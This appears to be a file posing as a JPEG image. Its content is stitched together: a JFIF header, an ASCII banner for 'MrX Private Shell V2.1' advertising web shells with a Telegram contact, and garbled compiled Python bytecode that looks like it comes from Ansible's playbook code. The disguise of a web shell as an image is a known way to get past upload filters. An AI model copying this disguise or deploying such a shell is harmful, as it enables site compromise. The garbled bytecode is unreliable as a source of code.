����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
�)g� � @ sZ d dl mZmZmZ eZd dlZd dlZd dlZd dl m Z
d dlmZ d dl
mZ d dlmZ d dlmZ d dlmZmZmZmZ d d lmZ d d
lmZ d dlmZmZ d dlm Z d d
l!m"Z"m#Z#m$Z$m%Z% d dl&m'Z'm(Z( d dl)m*Z*m+Z+ d dl,m-Z- d dl.m/Z/ d dl0m1Z1m2Z2m3Z3 e-� Z4dd� Z5G dd� d�Z6G dd� d�Z7G dd� de7�Z8dS )� )�absolute_import�division�print_functionN)�copy)�cache)�UndefinedError)� constants)�context)�AnsibleError�AnsibleParserError�AnsibleUndefinedVariable�AnsibleAssertionError)�string_types)�boolean)�to_text� to_native)�
DataLoader)� Attribute�FieldAttribute�ConnectionFieldAttribute�NonInheritableFieldAttribute)�
module_loader�
action_loader)�_get_collection_metadata�AnsibleCollectionRef)�Display��Sentinel)�combine_vars�isidentifier�
get_unique_idc
C sv dt tfdd�i}g }tj}t| t�o8d| v o8t| �dk}|rh|shd�tt | ���}|� dj
|d�� n�|�rJ|r||� d � t| d t�s�|� d
j
| d d�� n�t| d �� �t|�� � }|r�|� d�
d�|��� g } |�
� D ]H\}
}|
| d vr�q�| d |
}t||d
�s�| � d|
||d f � q�| �rJ|� d�
d�| ��� |�rr|�dd�
|�� t�d�|�� d S )N�extend_group�list)�types� errortype�metadata� �, z7The only expected key is metadata, but got keys: {keys})�keysz-The group contains multiple metadata entries.z0The metadata is not a dictionary. Got {metadata})r% z*The metadata contains unexpected keys: {0}r# z%s is %s (expected type %s)r$ z/The metadata contains unexpected key types: {0}r zNInvalid metadata was found for action_group {0} while loading module_defaults.� )r"